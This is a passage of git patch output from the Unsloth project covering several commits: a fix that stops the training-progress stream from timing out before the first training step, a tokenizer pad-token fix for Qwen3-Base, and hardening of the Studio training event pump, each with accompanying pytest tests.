 router = APIRouter()
 logger = get_logger(__name__)
 
+# Consecutive 1s polls without a step update that count as a stall. Applied only
+# once stepping: the pre-first-step phase (model load + tokenization) can take far
+# longer, and timing out there made a healthy long-prep run look frozen.
+_PROGRESS_STALL_TIMEOUT_POLLS = 1800  # ~30 min at 1 poll/sec
+
 
 def _validate_local_dataset_paths(paths: list[str], label: str = "Local dataset") -> list[str]:
     """Resolve and validate a list of local dataset paths. Returns validated absolute paths."""
@@ -833,7 +838,13 @@ async def stream_training_progress(
         # ── Live polling loop ────────────────────────────────────
         last_step = resume_from_step if resume_from_step is not None else -1
         no_update_count = 0
-        max_no_updates = 1800  # Timeout after 30 min (large models need compile time)
+        # The stall timeout applies only once the run is stepping (pre-step prep
+        # may legitimately emit no step for a long time). On reconnect to an
+        # already-stepping run, seed from the resume point / history, else a worker
+        # that hangs after step N never times out for a client that reconnects past it.
+        seen_live_step = (resume_from_step is not None and resume_from_step > 0) or bool(
+            backend.step_history
+        )
 
         while backend.is_training_active():
             try:
@@ -871,6 +882,7 @@ async def stream_training_progress(
                         )
                         last_step = current_step
                         no_update_count = 0
+                        seen_live_step = True
                     else:
                         no_update_count += 1
                         # Heartbeat every 10 seconds.
@@ -913,8 +925,9 @@ async def stream_training_progress(
                             event_id = 0,
                         )
 
-                # Timeout check
-                if no_update_count > max_no_updates:
+                # Fires only once stepping: a long pre-first-step prep phase is not
+                # a stall, and ending the stream there made a healthy run look frozen.
+                if seen_live_step and no_update_count > _PROGRESS_STALL_TIMEOUT_POLLS:
                     logger.warning("Progress stream timeout - no updates received")
                     tp_timeout = getattr(
                         getattr(backend, "trainer", None), "training_progress", None
diff --git a/studio/backend/tests/test_training_progress_prep_timeout.py b/studio/backend/tests/test_training_progress_prep_timeout.py
new file mode 100644
index 0000000000..a7e6d4f839
--- /dev/null
+++ b/studio/backend/tests/test_training_progress_prep_timeout.py
@@ -0,0 +1,141 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""The live progress SSE must not time out during the pre-first-step phase.
+
+A large model load / dataset tokenization can keep a run at step 0 for longer
+than the stall timeout. Treating that as a stall ends the live stream and makes a
+healthy run look frozen, so the timeout must apply only once the run is stepping.
+"""
+
+import asyncio
+import sys
+import types
+
+import pytest
+
+if "structlog" not in sys.modules:
+
+    class _DummyLogger:
+        def __getattr__(self, _name):
+            return lambda *args, **kwargs: None
+
+    sys.modules["structlog"] = types.SimpleNamespace(
+        BoundLogger = _DummyLogger,
+        get_logger = lambda *args, **kwargs: _DummyLogger(),
+    )
+
+import routes.training as rt
+
+
+class _Progress:
+    def __init__(
+        self,
+        step = 0,
+        total_steps = 1000,
+    ):
+        self.step = step
+        self.total_steps = total_steps
+        self.loss = None
+        self.learning_rate = None
+        self.epoch = None
+        self.grad_norm = None
+        self.num_tokens = None
+        self.eval_loss = None
+        self.elapsed_seconds = None
+        self.eta_seconds = None
+
+
+class _Backend:
+    def __init__(
+        self,
+        *,
+        active_polls,
+        step_history = None,
+        live_step = 0,
+    ):
+        self.current_job_id = "job-prep"
+        self.step_history = list(step_history or [])
+        self.loss_history = [1.0 for _ in self.step_history]
+        self.lr_history = [1e-4 for _ in self.step_history]
+        self.eval_enabled = False
+        self._active_calls = 0
+        self._active_polls = active_polls
+        self.trainer = types.SimpleNamespace(training_progress = _Progress(step = live_step))
+
+    def is_training_active(self):
+        self._active_calls += 1
+        return self._active_calls <= self._active_polls
+
+
+class _FakeRequest:
+    headers = {}
+
+
+class _ReconnectRequest:
+    # Reconnect carrying the last step the client already received.
+    headers = {"last-event-id": "10"}
+
+
+def _raw(response):
+    async def _drain():
+        chunks = []
+        async for chunk in response.body_iterator:
+            chunks.append(chunk)
+        return "".join(c.decode() if isinstance(c, bytes) else c for c in chunks)
+
+    return asyncio.run(asyncio.wait_for(_drain(), 15))
+
+
+@pytest.fixture
+def _fast_short_timeout(monkeypatch):
+    """Make the poll loop instant and the stall timeout tiny."""
+
+    async def _no_sleep(*_a, **_k):
+        return None
+
+    monkeypatch.setattr(rt.asyncio, "sleep", _no_sleep)
+    monkeypatch.setattr(rt, "_PROGRESS_STALL_TIMEOUT_POLLS", 3)
+
+
+def test_prep_phase_does_not_time_out_before_first_step(monkeypatch, _fast_short_timeout):
+    # Step 0 for many polls (far past the timeout), then the run ends. Pre-step
+    # this is preparation, not a stall: no error event may be emitted.
+    backend = _Backend(active_polls = 20, step_history = [], live_step = 0)
+    monkeypatch.setattr(rt, "get_training_backend", lambda: backend)
+
+    raw = _raw(asyncio.run(rt.stream_training_progress(_FakeRequest(), current_subject = "tester")))
+
+    assert (
+        backend._active_calls > rt._PROGRESS_STALL_TIMEOUT_POLLS + 1
+    ), "the loop must have run past the stall threshold for this test to be meaningful"
+    assert "event: heartbeat" in raw, "prep heartbeats should still flow"
+    assert "event: error" not in raw, "a still-preparing run must not be timed out as a stall"
+
+
+def test_stall_after_first_step_still_times_out(monkeypatch, _fast_short_timeout):
+    # Emits a live step (so seen_live_step becomes True) then stays put: a genuine
+    # post-step stall that must still trigger the timeout error.
+    backend = _Backend(active_polls = 100, step_history = [1, 2], live_step = 5)
+    monkeypatch.setattr(rt, "get_training_backend", lambda: backend)
+
+    raw = _raw(asyncio.run(rt.stream_training_progress(_FakeRequest(), current_subject = "tester")))
+
+    assert "event: error" in raw, "a real post-step stall should still time out"
+
+
+def test_reconnect_to_stepped_run_still_times_out(monkeypatch, _fast_short_timeout):
+    # Client reconnects at step 10 (Last-Event-ID) to a run that already stepped
+    # then hangs (only heartbeats): the post-step stall timeout must still fire.
+    # Without seeding seen_live_step from the resume point it resets to False and
+    # never times out for this client.
+    backend = _Backend(active_polls = 100, step_history = [10], live_step = 10)
+    monkeypatch.setattr(rt, "get_training_backend", lambda: backend)
+
+    raw = _raw(
+        asyncio.run(rt.stream_training_progress(_ReconnectRequest(), current_subject = "tester"))
+    )
+
+    assert (
+        "event: error" in raw
+    ), "a reconnect to an already-stepped run that then stalls must still time out"

From 4929c5f76966e7ec71ded310dbc8c03c1f3bc061 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 25 Jun 2026 04:41:09 -0700
Subject: [PATCH 109/306] Keep pad-named pad_tokens (e.g. <|vision_pad|>); fix
 Qwen3-Base load crash (#6652)

* Keep pad-named pad_tokens; defer pad repair to shared unsloth_zoo.pad_token

A pad-named token (e.g. <|vision_pad|>) is a valid pad. The narrow fallback that
stripped vision pad tokens on text-only models is now a no-op; the active path
delegates to the shared fix_pad_token in unsloth_zoo, which keeps pad-named tokens
and only heals missing / eos-collision / out-of-range pads.

This fixes the Qwen3-4B-Base load crash (its config ships pad_token=<|vision_pad|>):
the old swap could not find a safe text pad (eos is <|endoftext|>, no unk_token) and
left the tokenizer broken. Removes the unused _VISION_PAD_TOKENS / _SAFE_TEXT_PAD_TOKENS
sets. Tests updated.

Pairs with unslothai/unsloth-zoo#831.

* Remove _fix_vision_pad_token; inline the no-op fallback

A pad-named token (e.g. <|vision_pad|>) is a valid pad, so the old vision-pad swap
helper has no purpose. _fix_pad_token now returns the tokenizer unchanged when the
shared unsloth_zoo.pad_token module is unavailable, instead of routing through a
no-op helper. Test WANTED set updated.
---
 tests/python/test_pad_token_fix.py | 15 +++----
 unsloth/tokenizer_utils.py         | 64 ++++--------------------------
 2 files changed, 13 insertions(+), 66 deletions(-)

diff --git a/tests/python/test_pad_token_fix.py b/tests/python/test_pad_token_fix.py
index 0366bee67b..5f2a29a323 100644
--- a/tests/python/test_pad_token_fix.py
+++ b/tests/python/test_pad_token_fix.py
@@ -1,9 +1,9 @@
 """_fix_pad_token dispatch in unsloth/tokenizer_utils.py.
 
 It must delegate to unsloth_zoo's shared fix_pad_token when present (single
-source of truth), and fall back to the narrow vision-token swap against an
-older unsloth_zoo. Static + CPU-only: the two helpers are exec'd in isolation
-so the test never imports torch / transformers / unsloth.
+source of truth), and fall back to a no-op against an older unsloth_zoo. Static
++ CPU-only: _fix_pad_token is exec'd in isolation so the test never imports
+torch / transformers / unsloth.
 """
 
 import ast
@@ -15,9 +15,6 @@ REPO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
 TOK_PATH = os.path.join(REPO_ROOT, "unsloth", "tokenizer_utils.py")
 
 WANTED = {
-    "_VISION_PAD_TOKENS",
-    "_SAFE_TEXT_PAD_TOKENS",
-    "_fix_vision_pad_token",
     "_fix_pad_token",
 }
 
@@ -69,17 +66,17 @@ def test_fix_pad_token_none_is_noop():
     assert ns["_fix_pad_token"](None) is None
 
 
-def test_fix_pad_token_falls_back_without_shared_module(monkeypatch):
+def test_fallback_keeps_pad_named_token(monkeypatch):
     ns = _load_pad_helpers()
     _block_shared_module(monkeypatch)
-    # Qwen3 text tokenizer shipping a vision pad_token -> narrow swap heals it.
+    # A pad-named token (e.g. <|vision_pad|>) is a valid pad -> fallback keeps it.
     tok = FakeTok(
         {"<|endoftext|>": 1, "<|im_end|>": 2, "<|vision_pad|>": 3},
         pad = "<|vision_pad|>",
         eos = "<|im_end|>",
     )
     ns["_fix_pad_token"](tok)
-    assert tok.pad_token == "<|endoftext|>"
+    assert tok.pad_token == "<|vision_pad|>"
     assert tok.pad_token != tok.eos_token
 
 
diff --git a/unsloth/tokenizer_utils.py b/unsloth/tokenizer_utils.py
index eb18b1966c..93dfa9b2ad 100644
--- a/unsloth/tokenizer_utils.py
+++ b/unsloth/tokenizer_utils.py
@@ -626,72 +626,22 @@ def _load_correct_tokenizer(
         return fast_tokenizer
 
 
-# Qwen3 text models share Qwen3-VL's vocab, so configs ship a vision pad_token;
-# padding text-only training with one yields NaN losses (#3155, #4104).
-_VISION_PAD_TOKENS = frozenset(
-    (
-        "<|vision_pad|>",
-        "<|image_pad|>",
-        "<|video_pad|>",
-        "<|audio_pad|>",
-    )
-)
-# Preference order; <unk> excluded since reusing it as pad masks real OOV tokens.
-_SAFE_TEXT_PAD_TOKENS = ("<|endoftext|>", "<pad>", "[PAD]")
-
-
-def _fix_vision_pad_token(tokenizer):
-    """Swap a vision pad_token on a text-only tokenizer for a safe text token (#3155)."""
-    if tokenizer is None:
-        return tokenizer
-    if hasattr(tokenizer, "image_processor"):
-        return tokenizer
-    pad_token = getattr(tokenizer, "pad_token", None)
-    if pad_token is None or pad_token not in _VISION_PAD_TOKENS:
-        return tokenizer
-
-    get_vocab = getattr(tokenizer, "get_vocab", None)
-    if get_vocab is None:
-        return tokenizer
-    vocab = get_vocab()
-    if not isinstance(vocab, dict):
-        return tokenizer
-    new_pad_token = None
-    for candidate in _SAFE_TEXT_PAD_TOKENS:
-        if candidate in vocab and candidate != getattr(tokenizer, "eos_token", None):
-            new_pad_token = candidate
-            break
-    # Fall back to eos_token only if it is a distinct, non-vision token.
-    if new_pad_token is None:
-        eos_token = getattr(tokenizer, "eos_token", None)
-        if eos_token is not None and eos_token != pad_token and eos_token not in _VISION_PAD_TOKENS:
-            new_pad_token = eos_token
-    if new_pad_token is None:
-        return tokenizer
-
-    tokenizer.pad_token = new_pad_token
-    logger.warning(
-        f"Unsloth: pad_token was a vision token ({pad_token}) on a text-only "
-        f"model. Replaced with {new_pad_token} to avoid NaN losses."
-    )
-    return tokenizer
-
-
 def _fix_pad_token(tokenizer):
     """Heal a bad/missing pad_token before chat-template repair.
 
-    Delegates to unsloth_zoo's shared fix_pad_token (single source of truth) when
-    available, falling back to the narrow vision-token swap against an older
-    unsloth_zoo. allow_add=False keeps this side-effect free: there is no model
-    here to resize embeddings, so a brand new pad token is never added - the later
-    model-aware patch_tokenizer call finishes the job and is idempotent.
+    Delegates to unsloth_zoo's shared fix_pad_token (single source of truth); against
+    an older unsloth_zoo without it, this is a no-op (a pad-named token like
+    <|vision_pad|> is already a valid pad). allow_add=False keeps this side-effect
+    free: there is no model here to resize embeddings, so a brand new pad token is
+    never added - the later model-aware patch_tokenizer call finishes the job and is
+    idempotent.
     """
     if tokenizer is None:
         return tokenizer
     try:
         from unsloth_zoo.pad_token import fix_pad_token
     except Exception:
-        return _fix_vision_pad_token(tokenizer)
+        return tokenizer
     fix_pad_token(tokenizer, allow_add = False)
     return tokenizer
 

From 1cb04be3288edfb8efbe36cad1bc867d9977966f Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 25 Jun 2026 05:19:32 -0700
Subject: [PATCH 110/306] Studio: keep the training event pump alive so
 progress can't silently freeze (#6643)

* Studio: keep the training event pump alive so progress can't silently freeze

The parent-side event pump is the only writer of the in-memory progress state
that SSE /progress, /status, /metrics and the DB history all read. It ran in a
single unsupervised daemon thread with no guard around event handling, so one
malformed event or a transient queue/DB error would terminate it permanently.
The worker subprocess keeps training regardless (mp.Queue puts never block on an
unbounded queue), so a run kept burning GPU for hours while every progress
surface froze on the last step the pump saw.

- Guard each pump iteration: a bad event or queue-read error is logged and
  skipped instead of ending the loop. _read_queue now reads any error as
  "no event", not just Empty/EOFError/OSError/ValueError.
- Add a _pump_running flag and an _ensure_pump_alive watchdog wired into
  is_training_active, so a pump that dies while the worker is alive is restarted
  on the next status poll and the UI catches up from the still-open queue.
- Start respawned and restarted pumps under the lock so the watchdog can never
  spawn a duplicate during the brief start window.

Adds tests/test_training_pump_resilience.py covering both guarantees.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio training pump: address review (drain guard, start race, read backoff, respawn flag)

Follow-up to the event-pump resilience change, closing four edge cases a
review surfaced in the same pump/queue surface:

- _drain_queue now tolerates any error during the worker-exit drain and
  finalizes with whatever it drained, instead of skipping finalization and
  leaving the run wedged "active" with a dead worker.
- start_training clears a stale _pump_running flag during reset and assigns
  the subprocess handles plus starts the pump under the lock, so a concurrent
  status/SSE poll can't spawn a duplicate pump during setup.
- _read_queue goes back to the narrow EOFError/OSError/ValueError catch;
  truly unexpected errors are left to _pump_loop's guarded read, which logs
  and backs off so a persistently raising queue can't spin a hot loop.
- The xet respawn-failure path clears _pump_running so a later run can't
  inherit a stale flag.

Adds regression tests for all four.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: revive a crashed pump after worker exit + stop test module pollution

Two review follow-ups on the training event pump:

- _ensure_pump_alive refused to restart once the worker had exited
  (not self._proc.is_alive()), so a pump that crashed just before the worker
  finished never drained the terminal complete/error events still sitting in
  the queue. progress.is_training stayed True and is_training_active() returned
  True forever, leaving the run stuck "running" behind a dead pump. A True
  _pump_running flag with a dead thread is an unambiguous crash regardless of
  worker state, so restart there too: the fresh pump drains the backlog and
  finalizes. Updated the watchdog test to assert the revive-and-finalize.

- The resilience test imports core.training.training while heavy module-level
  deps are stubbed, then restores the stubs -- but the cached training module
  kept the stubs bound in its globals, so a later test in the same session
  could exercise the fakes (e.g. prepare_gpu_selection) instead of the real
  code. Evict the training module (and its package) after import when this file
  created it, so subsequent tests re-import it cleanly.

* Studio: finalize training run when queue reads keep failing on a dead worker

reviewer.py follow-up. _read_queue only swallows EOFError/OSError/ValueError;
an unexpected error escapes to the pump's outer guard, which logged, slept and
`continue`d. If those reads keep raising after the worker has already exited
(e.g. a broken queue pipe), the loop never reaches the dead-worker finalize
block, so the pump spins on with _pump_running True and progress.is_training
stuck True -- the run looks like it is still training forever. On a read failure
now fall through to finalize when the worker is gone, only backing off and
retrying while it is still alive. Mirrors the data-recipe pump fix; added a
regression test.

* Tighten training pump resilience comments and docstrings

Condense the verbose explanatory comments and docstrings on the training event
pump and its tests to shorter, clearer forms. Comment/whitespace only; verified
no code changed via AST diff. No behaviour change.

* Studio: create the training DB run before starting the event pump

start_training started the event pump before the eager _ensure_db_run_created()
call, so for a worker that completes or fails immediately the pump could race the
main thread into creating and finalizing the same run row (duplicate INSERT, or a
finalize skipped while _db_run_created was still false). Create the run first; the
pump then only ever finalizes. Adds a regression test asserting the pump observes
an already-created run.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/training/training.py      | 173 ++++--
 .../tests/test_training_pump_resilience.py    | 494 ++++++++++++++++++
 2 files changed, 626 insertions(+), 41 deletions(-)
 create mode 100644 studio/backend/tests/test_training_pump_resilience.py

diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index 290b4090ec..9d991c6512 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -216,6 +216,9 @@ class TrainingBackend:
         self._event_queue: Any = None
         self._stop_queue: Any = None
         self._pump_thread: Optional[threading.Thread] = None
+        # True while a pump thread should be running; cleared on intended exits.
+        # Left True after an abnormal death so _ensure_pump_alive spots a crash.
+        self._pump_running: bool = False
         self._lock = threading.Lock()
 
         # Progress state (updated by pump thread from subprocess events)
@@ -289,6 +292,9 @@ class TrainingBackend:
                 logger.warning("Previous pump thread did not exit within 5s — refusing to start")
                 return False
         self._pump_thread = None
+        # Clear a stale crash flag from a prior died pump so the watchdog can't
+        # treat this fresh setup as a recoverable death.
+        self._pump_running = False
 
         # Build config dict for the subprocess
         config = {
@@ -472,16 +478,21 @@ class TrainingBackend:
         self._xet_fallback_used = False
         self._needs_xet_respawn = False
 
-        # Assign subprocess handles after state reset.
-        self._event_queue = event_queue
-        self._stop_queue = stop_queue
-        self._proc = proc
-
-        # Eagerly create DB run row so it appears in history during model loading.
+        # Create the DB run row before the pump can consume events, so it appears
+        # in history during model loading and a fast terminal worker can't race the
+        # pump into a duplicate create/finalize. From here the pump only finalizes.
         self._ensure_db_run_created()
 
-        self._pump_thread = threading.Thread(target = self._pump_loop, daemon = True)
-        self._pump_thread.start()
+        # Assign handles and start the pump together under the lock so a concurrent
+        # poll can't see a live _proc with no pump and spawn a duplicate.
+        new_pump = threading.Thread(target = self._pump_loop, daemon = True)
+        with self._lock:
+            self._pump_running = False
+            self._event_queue = event_queue
+            self._stop_queue = stop_queue
+            self._proc = proc
+            self._pump_thread = new_pump
+            new_pump.start()
 
         return True
 
@@ -606,6 +617,9 @@ class TrainingBackend:
         except Exception:
             logger.error("Failed to respawn training subprocess", exc_info = True)
             with self._lock:
+                # No replacement pump will run; clear the flag so a later run can't
+                # inherit a stale _pump_running=True and spawn a duplicate.
+                self._pump_running = False
                 self._progress.is_training = False
                 self._progress.error = "Failed to recover stalled model download"
             self._ensure_db_run_created()
@@ -623,10 +637,44 @@ class TrainingBackend:
             self._stop_queue = stop_queue
             self._proc = new_proc
             self._pump_thread = new_pump
-        new_pump.start()
+            # Start under the lock so _ensure_pump_alive can never observe the
+            # new pump as a not-yet-started (dead) thread and spawn a duplicate.
+            new_pump.start()
+
+    def _ensure_pump_alive(self) -> bool:
+        """Restart the event pump if it crashed, even after the worker exited.
+
+        Defence in depth behind _pump_loop's guards. _pump_running stays True only
+        after an abnormal exit (the loop clears it on intended exits), so a True
+        flag plus a dead thread is an unambiguous crash. Restarts even after worker
+        exit so a fresh pump can drain the terminal events and finalize; otherwise
+        the run looks stuck "running" forever. Returns True if restarted.
+        """
+        with self._lock:
+            if not self._pump_running:
+                return False
+            # A restarted pump needs the worker handle and queue to drain/finalize;
+            # their absence means nothing is left to recover.
+            if self._proc is None or self._event_queue is None:
+                return False
+            if self._pump_thread is not None and self._pump_thread.is_alive():
+                return False
+            logger.error(
+                "Training event pump thread died while the worker is still running; "
+                "restarting it so progress updates resume."
+            )
+            new_pump = threading.Thread(target = self._pump_loop, daemon = True)
+            self._pump_thread = new_pump
+            # Start under the lock so a concurrent _ensure_pump_alive can't see
+            # this thread as not-yet-started and spawn yet another pump.
+            new_pump.start()
+        return True
 
     def is_training_active(self) -> bool:
         """Check if training is currently active."""
+        # Self-heal a crashed pump first: a dead pump must never leave the worker
+        # training invisibly behind a frozen UI. Cheap enough for per-second polls.
+        self._ensure_pump_alive()
         with self._lock:
             if self._proc is not None and self._proc.is_alive():
                 return True
@@ -727,51 +775,87 @@ class TrainingBackend:
     # Event pump (background thread)
     # ------------------------------------------------------------------
 
+    def _safe_handle_event(self, event: dict) -> None:
+        """Apply one event, swallowing any handler error.
+
+        The pump is the only writer of the progress state every status surface
+        reads, so a malformed event must never propagate and kill it.
+        """
+        try:
+            self._handle_event(event)
+        except Exception:
+            etype = event.get("type") if isinstance(event, dict) else type(event).__name__
+            logger.exception("Training event pump: failed to handle %s event; skipping", etype)
+
     def _pump_loop(self) -> None:
-        """Background thread: consume events from subprocess → update state."""
+        """Background thread: consume subprocess events and update state.
+
+        Sole writer of the in-memory progress state that /progress, /status,
+        /metrics and DB history read. If it exited while the worker still ran, the
+        run would burn GPU with events piling up while every surface froze. So no
+        single bad event or transient queue/DB error may end it; it returns only
+        through intended exits (worker gone, respawn handed off, finalized).
+        """
+        self._pump_running = True
         while True:
             if self._proc is None or self._event_queue is None:
+                self._pump_running = False
                 return
 
-            event = self._read_queue(self._event_queue, timeout_sec = 0.25)
+            try:
+                event = self._read_queue(self._event_queue, timeout_sec = 0.25)
+            except Exception:
+                # If a read keeps raising after the worker died, fall through to
+                # finalize instead of spinning; only retry while the worker lives.
+                logger.exception("Training event pump: queue read failed; continuing")
+                if self._proc is not None and self._proc.is_alive():
+                    time.sleep(0.1)
+                    continue
+                event = None
+
             if event is not None:
-                self._handle_event(event)
+                self._safe_handle_event(event)
                 continue
 
             if self._proc.is_alive():
                 continue
 
-            # Process exited — drain remaining events.
-            for e in self._drain_queue(self._event_queue):
-                self._handle_event(e)
+            # Worker exited. Drain the backlog and finalize, guarded so a slow or
+            # failing DB write can't strand the thread; we return either way.
+            try:
+                for e in self._drain_queue(self._event_queue):
+                    self._safe_handle_event(e)
 
-            # Model-load stall: respawn over HTTP instead of finalizing as failure.
-            # Runs on THIS exiting pump thread and starts a fresh pump (never joins
-            # the current thread); DB run-state is preserved.
-            if self._needs_xet_respawn:
-                self._needs_xet_respawn = False
-                self._respawn_worker_disable_xet()
-                return
+                # Model-load stall: respawn over HTTP instead of finalizing as failure.
+                # Starts a fresh pump on this thread (no self-join); it takes over
+                # _pump_running, so this exit leaves the flag set.
+                if self._needs_xet_respawn:
+                    self._needs_xet_respawn = False
+                    self._respawn_worker_disable_xet()
+                    return
 
-            # Mark done if no explicit complete/error was received.
-            with self._lock:
-                if self._progress.is_training:
-                    if self._should_stop:
-                        self._progress.is_training = False
-                        self._progress.status_message = "Training stopped."
-                    else:
-                        self._progress.is_training = False
-                        self._progress.error = (
-                            self._progress.error or "Training process exited unexpectedly"
-                        )
+                # Mark done if no explicit complete/error was received.
+                with self._lock:
+                    if self._progress.is_training:
+                        if self._should_stop:
+                            self._progress.is_training = False
+                            self._progress.status_message = "Training stopped."
+                        else:
+                            self._progress.is_training = False
+                            self._progress.error = (
+                                self._progress.error or "Training process exited unexpectedly"
+                            )
 
-            self._ensure_db_run_created()
-            self._finalize_run_in_db(
-                status = "stopped" if self._should_stop else "error",
-                error_message = None
-                if self._should_stop
-                else "Training process terminated unexpectedly",
-            )
+                self._ensure_db_run_created()
+                self._finalize_run_in_db(
+                    status = "stopped" if self._should_stop else "error",
+                    error_message = None
+                    if self._should_stop
+                    else "Training process terminated unexpectedly",
+                )
+            except Exception:
+                logger.exception("Training event pump: finalization after worker exit failed")
+            self._pump_running = False
             return
 
     def _handle_event(self, event: dict) -> None:
@@ -1094,6 +1178,8 @@ class TrainingBackend:
         except queue.Empty:
             return None
         except (EOFError, OSError, ValueError):
+            # A closed/broken queue reads as "no event"; any other error is left to
+            # _pump_loop's guarded block, which logs and backs off.
             return None
 
     @staticmethod
@@ -1104,7 +1190,12 @@ class TrainingBackend:
                 events.append(q.get_nowait())
             except queue.Empty:
                 return events
-            except (EOFError, OSError, ValueError):
+            except Exception:
+                # A drain error must not abort finalization: return what we have so
+                # the run finalizes rather than wedging "active" behind a dead worker.
+                logger.exception(
+                    "Training event pump: queue drain failed; finalizing with drained events"
+                )
                 return events
 
     # ------------------------------------------------------------------
diff --git a/studio/backend/tests/test_training_pump_resilience.py b/studio/backend/tests/test_training_pump_resilience.py
new file mode 100644
index 0000000000..d75b205f35
--- /dev/null
+++ b/studio/backend/tests/test_training_pump_resilience.py
@@ -0,0 +1,494 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Parent-side training event-pump resilience.
+
+The pump is the only writer of the progress state /progress, /status, /metrics
+and DB history read. If it died while the worker ran, the run would continue while
+the UI froze -- the "training runs but no progress shows" symptom. These tests pin
+two guards: a bad event/queue error can't kill the pump, and a dead pump is
+detected and restarted (even after worker exit) so terminal events still finalize.
+Fakes only; no GPU, network, or subprocess.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import logging
+import queue
+import sys
+import threading
+import time
+import types as _types
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Stub the heavy module-level imports of core/training/training.py so it imports
+# under CPU-only/no-network, then restore them (see the restore loop below).
+_SAVED: dict = {}
+
+
+def _stub(name, mod):
+    _SAVED[name] = sys.modules.get(name)
+    sys.modules[name] = mod
+
+
+_lg = _types.ModuleType("loggers")
+_lg.get_logger = lambda name: logging.getLogger(name)
+_stub("loggers", _lg)
+_stub("structlog", _types.ModuleType("structlog"))
+_mpl = _types.ModuleType("matplotlib")
+_plt = _types.ModuleType("matplotlib.pyplot")
+_plt.Figure = type("Figure", (), {})  # referenced in a class-def annotation
+_mpl.pyplot = _plt
+_stub("matplotlib", _mpl)
+_stub("matplotlib.pyplot", _plt)
+_hw = _types.ModuleType("utils.hardware")
+_hw.prepare_gpu_selection = lambda *a, **k: (None, None)
+_stub("utils.hardware", _hw)
+_npl = _types.ModuleType("utils.native_path_leases")
+_npl.native_path_secret_removed_for_child_start = lambda: contextlib.nullcontext()
+_npl.run_without_native_path_secret = lambda fn: fn
+_stub("utils.native_path_leases", _npl)
+_pth = _types.ModuleType("utils.paths")
+_pth.outputs_root = lambda *a, **k: "/tmp/outputs"
+_stub("utils.paths", _pth)
+
+# Whether core.training.training was already imported before this file ran; only
+# evict it below if we were the one to create the (stub-bound) module instance.
+_TRAINING_PRE_IMPORTED = "core.training.training" in sys.modules
+
+from core.training.training import TrainingBackend
+
+# Restore every stubbed module so this file never pollutes the shared session.
+for _name in (
+    "loggers",
+    "structlog",
+    "matplotlib",
+    "matplotlib.pyplot",
+    "utils.hardware",
+    "utils.native_path_leases",
+    "utils.paths",
+):
+    _prev = _SAVED.get(_name)
+    if _prev is None:
+        sys.modules.pop(_name, None)
+    else:
+        sys.modules[_name] = _prev
+
+# training imported its helpers while the stubs were active, binding them to stubs.
+# If we created the cached module, evict it (and its parent) so a later test
+# re-imports the real one.
+if not _TRAINING_PRE_IMPORTED:
+    sys.modules.pop("core.training.training", None)
+    sys.modules.pop("core.training", None)
+
+
+class _FakeProc:
+    """A subprocess handle whose liveness the test drives directly."""
+
+    def __init__(self, alive: bool = True):
+        self._alive = alive
+        self.pid = 4321
+
+    def is_alive(self):
+        return self._alive
+
+    def join(self, timeout = None):
+        self._alive = False
+
+
+class _IdleQueue:
+    """get()/get_nowait() always signal "no event" so the pump idles."""
+
+    def put(self, *a, **k):
+        pass
+
+    def get(self, *a, **k):
+        raise queue.Empty
+
+    def get_nowait(self, *a, **k):
+        raise queue.Empty
+
+
+class _ScriptedQueue:
+    """Yields queued events once, then signals empty forever."""
+
+    def __init__(self, events):
+        self._events = list(events)
+
+    def put(self, *a, **k):
+        pass
+
+    def get(self, *a, **k):
+        if self._events:
+            return self._events.pop(0)
+        raise queue.Empty
+
+    def get_nowait(self, *a, **k):
+        if self._events:
+            return self._events.pop(0)
+        raise queue.Empty
+
+
+def _dead_thread() -> threading.Thread:
+    t = threading.Thread(target = lambda: None)
+    t.start()
+    t.join()
+    return t
+
+
+def _silence_db(monkeypatch, b):
+    """Neutralize DB finalization so a started pump exits cleanly off-box."""
+    monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None)
+    monkeypatch.setattr(b, "_finalize_run_in_db", lambda **k: None)
+
+
+def _wait_until(predicate, timeout = 5.0):
+    deadline = time.time() + timeout
+    while time.time() < deadline:
+        if predicate():
+            return True
+        time.sleep(0.01)
+    return predicate()
+
+
+# ----------------------------------------------------------------------------
+# Guarantee 1: a single bad event/queue error cannot kill the pump.
+# ----------------------------------------------------------------------------
+
+
+def test_pump_survives_handler_exception_and_keeps_processing(monkeypatch):
+    b = TrainingBackend()
+    _silence_db(monkeypatch, b)
+    handled: list = []
+
+    def fake_handle(ev):
+        if ev.get("type") == "boom":
+            raise RuntimeError("handler blew up")
+        handled.append(ev.get("type"))
+
+    monkeypatch.setattr(b, "_handle_event", fake_handle)
+
+    proc = _FakeProc(alive = True)
+    b._proc = proc
+    b._event_queue = _ScriptedQueue(
+        [{"type": "boom"}, {"type": "progress"}, {"type": "boom"}, {"type": "progress"}]
+    )
+
+    pump = threading.Thread(target = b._pump_loop, daemon = True)
+    pump.start()
+    try:
+        assert _wait_until(
+            lambda: handled.count("progress") == 2
+        ), "pump must keep processing good events after handler exceptions"
+        assert pump.is_alive(), "pump thread must survive handler exceptions"
+        assert b._pump_running is True
+    finally:
+        proc._alive = False  # let the loop reach its clean exit
+        pump.join(timeout = 5)
+
+    assert not pump.is_alive()
+    assert b._pump_running is False, "clean exit must clear the running flag"
+
+
+def test_read_queue_narrow_contract():
+    class _Q:
+        def __init__(self, exc):
+            self.exc = exc
+
+        def get(self, *a, **k):
+            raise self.exc
+
